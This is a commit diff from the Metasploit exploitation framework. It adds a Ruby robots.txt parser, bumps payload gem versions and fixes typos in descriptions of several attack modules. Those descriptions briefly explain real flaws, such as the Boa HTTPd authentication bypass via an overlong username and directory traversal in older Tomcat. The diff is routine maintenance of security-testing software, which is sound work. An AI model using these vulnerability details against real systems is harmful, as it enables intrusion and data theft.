self.conn = nil self.conn = nil

162
lib/robots.rb Normal file
View File

@ -0,0 +1,162 @@
#
# Copyright (c) 2008 Kyle Maxwell, contributors
#
# Permission is hereby granted, free of charge, to any person
# obtaining a copy of this software and associated documentation
# files (the "Software"), to deal in the Software without
# restriction, including without limitation the rights to use,
# copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the
# Software is furnished to do so, subject to the following
# conditions:
#
# The above copyright notice and this permission notice shall be
# included in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
# OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
# HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
# WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
# OTHER DEALINGS IN THE SOFTWARE.
#
require "open-uri"
require "uri"
require "timeout"
require 'rex/logging/log_dispatcher'
# https://github.com/fizx/robots
class Robots
DEFAULT_TIMEOUT = 3
# Represents a parsed robots.txt file
class ParsedRobots
def initialize(uri, user_agent)
@last_accessed = Time.at(1)
io = Robots.get_robots_txt(uri, user_agent)
if !io || io.content_type != "text/plain" || io.status.first != "200"
io = StringIO.new("User-agent: *\nAllow: /\n")
end
@other = {}
@disallows = {}
@allows = {}
@delays = {} # added delays to make it work
agent = /.*/
io.each do |line|
next if line =~ /^\s*(#.*|$)/
arr = line.split(":")
key = arr.shift.to_s.downcase
value = arr.join(":").strip
value.strip!
case key
when "user-agent"
agent = to_regex(value)
when "allow"
@allows[agent] ||= []
@allows[agent] << to_regex(value)
when "disallow"
@disallows[agent] ||= []
@disallows[agent] << to_regex(value)
when "crawl-delay"
@delays[agent] = value.to_i
else
@other[key] ||= []
@other[key] << value
end
end
@parsed = true
end
def allowed?(uri, user_agent)
return true unless @parsed
allowed = true
path = uri.request_uri
@disallows.each do |key, value|
if user_agent =~ key
value.each do |rule|
allowed = false if path =~ rule
end
end
end
@allows.each do |key, value|
unless allowed
if user_agent =~ key
value.each do |rule|
if path =~ rule
allowed = true
end
end
end
end
end
if allowed && @delays[user_agent]
sleep @delays[user_agent] - (Time.now - @last_accessed)
@last_accessed = Time.now
end
return allowed
end
def other_values
@other
end
protected
def to_regex(pattern)
return /should-not-match-anything-123456789/ if pattern.strip.empty?
pattern = Regexp.escape(pattern)
pattern.gsub!(Regexp.escape("*"), ".*")
Regexp.compile("^#{pattern}")
end
end
def self.get_robots_txt(uri, user_agent)
begin
Timeout.timeout(Robots.timeout) do
begin
URI.join(uri.to_s, "/robots.txt").open("User-Agent" => user_agent)
rescue StandardError
nil
end
end
rescue Timeout::Error
dlog("robots.txt request timed out")
end
end
attr_writer :timeout
def self.timeout
@timeout || DEFAULT_TIMEOUT
end
def initialize(user_agent)
@user_agent = user_agent
@parsed = {}
end
def allowed?(uri)
uri = URI.parse(uri.to_s) unless uri.is_a?(URI)
host = uri.host
@parsed[host] ||= ParsedRobots.new(uri, @user_agent)
@parsed[host].allowed?(uri, @user_agent)
end
def other_values(uri)
uri = URI.parse(uri.to_s) unless uri.is_a?(URI)
host = uri.host
@parsed[host] ||= ParsedRobots.new(uri, @user_agent)
@parsed[host].other_values
end
end

View File

@ -70,9 +70,9 @@ Gem::Specification.new do |spec|
# are needed when there's no database # are needed when there's no database
spec.add_runtime_dependency 'metasploit-model' spec.add_runtime_dependency 'metasploit-model'
# Needed for Meterpreter # Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '1.3.1' spec.add_runtime_dependency 'metasploit-payloads', '1.3.9'
# Needed for the next-generation POSIX Meterpreter # Needed for the next-generation POSIX Meterpreter
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.2.0' spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.2.2'
# Needed by msfgui and other rpc components # Needed by msfgui and other rpc components
spec.add_runtime_dependency 'msgpack' spec.add_runtime_dependency 'msgpack'
# get list of network interfaces, like eth* from OS. # get list of network interfaces, like eth* from OS.
@ -171,8 +171,6 @@ Gem::Specification.new do |spec|
spec.add_runtime_dependency 'rex-exploitation' spec.add_runtime_dependency 'rex-exploitation'
# Command line editing, history, and tab completion in msfconsole # Command line editing, history, and tab completion in msfconsole
spec.add_runtime_dependency 'rb-readline' spec.add_runtime_dependency 'rb-readline'
# Needed by anemone crawler
spec.add_runtime_dependency 'robots'
# Needed by some modules # Needed by some modules
spec.add_runtime_dependency 'rubyzip' spec.add_runtime_dependency 'rubyzip'
# Needed for some post modules # Needed for some post modules

View File

@ -13,7 +13,7 @@ class MetasploitModule < Msf::Auxiliary
'Description' => %q{ 'Description' => %q{
This modules exploits a remote registry access flaw in the BackupExec Windows This modules exploits a remote registry access flaw in the BackupExec Windows
Server RPC service. This vulnerability was discovered by Pedram Amini and is based Server RPC service. This vulnerability was discovered by Pedram Amini and is based
on the NDR stub information information posted to openrce.org. on the NDR stub information posted to openrce.org.
Please see the action list for the different attack modes. Please see the action list for the different attack modes.
}, },

View File

@ -49,7 +49,6 @@ class MetasploitModule < Msf::Auxiliary
}.merge(service_data) }.merge(service_data)
login_data = { login_data = {
last_attempted_at: DateTime.now,
core: create_credential(credential_data), core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED, status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof] proof: opts[:proof]

View File

@ -46,7 +46,6 @@ class MetasploitModule < Msf::Auxiliary
}.merge(service_data) }.merge(service_data)
login_data = { login_data = {
last_attempted_at: DateTime.now,
core: create_credential(credential_data), core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED, status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof] proof: opts[:proof]

View File

@ -10,7 +10,7 @@ class MetasploitModule < Msf::Auxiliary
super(update_info(info, super(update_info(info,
'Name' => 'Intersil (Boa) HTTPd Basic Authentication Password Reset', 'Name' => 'Intersil (Boa) HTTPd Basic Authentication Password Reset',
'Description' => %q{ 'Description' => %q{
The Intersil extention in the Boa HTTP Server 0.93.x - 0.94.11 The Intersil extension in the Boa HTTP Server 0.93.x - 0.94.11
allows basic authentication bypass when the user string is greater allows basic authentication bypass when the user string is greater
than 127 bytes long. The long string causes the password to be than 127 bytes long. The long string causes the password to be
overwritten in memory, which enables the attacker to reset the overwritten in memory, which enables the attacker to reset the

View File

@ -13,7 +13,7 @@ class MetasploitModule < Msf::Auxiliary
'Description' => %q{ 'Description' => %q{
Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems. Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems.
The application has a file download vulnerability that can be exploited by an The application has a file download vulnerability that can be exploited by an
authenticated remote attacker to download any file in the system.. authenticated remote attacker to download any file in the system.
This module has been tested with versions 1.5.0.2, 1.4.0.17 and 1.1.0.13. This module has been tested with versions 1.5.0.2, 1.4.0.17 and 1.1.0.13.
}, },
'Author' => 'Author' =>

View File

@ -61,7 +61,6 @@ class MetasploitModule < Msf::Auxiliary
}.merge(service_data) }.merge(service_data)
login_data = { login_data = {
last_attempted_at: DateTime.now,
core: create_credential(credential_data), core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data) }.merge(service_data)

View File

@ -18,7 +18,7 @@ class MetasploitModule < Msf::Auxiliary
local files. This allows the user to read any files from the FS as the local files. This allows the user to read any files from the FS as the
user Openbravo is running as (generally not root). user Openbravo is running as (generally not root).
This module was tested againt Openbravo ERP version 3.0MP25 and 2.50MP6. This module was tested against Openbravo ERP version 3.0MP25 and 2.50MP6.
}, },
'Author' => 'Author' =>
[ [

View File

@ -12,7 +12,7 @@ class MetasploitModule < Msf::Auxiliary
super( super(
'Name' => 'Tomcat UTF-8 Directory Traversal Vulnerability', 'Name' => 'Tomcat UTF-8 Directory Traversal Vulnerability',
'Description' => %q{ 'Description' => %q{
This module tests whether a directory traversal vulnerablity is present This module tests whether a directory traversal vulnerability is present
in versions of Apache Tomcat 4.1.0 - 4.1.37, 5.5.0 - 5.5.26 and 6.0.0 in versions of Apache Tomcat 4.1.0 - 4.1.37, 5.5.0 - 5.5.26 and 6.0.0
- 6.0.16 under specific and non-default installations. The connector must have - 6.0.16 under specific and non-default installations. The connector must have
allowLinking set to true and URIEncoding set to UTF-8. Furthermore, the allowLinking set to true and URIEncoding set to UTF-8. Furthermore, the

Some files were not shown because too many files have changed in this diff Show More